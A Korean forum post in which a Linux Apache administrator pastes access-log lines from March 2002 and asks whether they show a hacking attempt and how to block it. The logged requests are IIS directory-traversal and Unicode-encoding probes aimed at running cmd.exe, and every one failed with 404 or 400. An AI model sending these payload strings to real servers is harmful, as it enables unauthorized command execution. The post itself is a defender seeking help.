아파치 로그에 남은 겁니다. ip는 일단 안보이게 했습니다.
RedHat 7.2에 아파치 깔았구요 Linux만 깔린 시스템입니다.
고수님들 이게 해킹하려는 건지 확인해 주십시오. 어떻게 해야 막을수도 있을까요?
xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:39 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:40 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274 "-" "-"
xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:40 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:41 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:41 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
"-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:42 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.
exe?/c+dir HTTP/1.0" 404 315 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:45 +0900] "GET /_mem_bin/..%255c../..%255c../
..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:46 +0900] "GET /
msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331 "-" "
-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:49 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
297 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:50 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/
1.0" 404 297 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:50 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
dir HTTP/1.0" 404 297 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:51 +0900] "GET /scripts/..%c1%9c../winnt/system32/cm
d.exe?/c+dir HTTP/1.0" 404 297 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:52 +0900] "GET /scripts/..%%35%63../winnt/s
ystem32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:52 +0900] "GET /scripts/..%%35c..
/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:53 +0900] "GET /scripts/.
.%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-" xxx.xxx.xx.xxx - - [08/Mar/2002:08:42:53 +0900] "GE
T /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-" -- 서버 운영 공부좀 하려니 왜
이리 걸리는게 많아?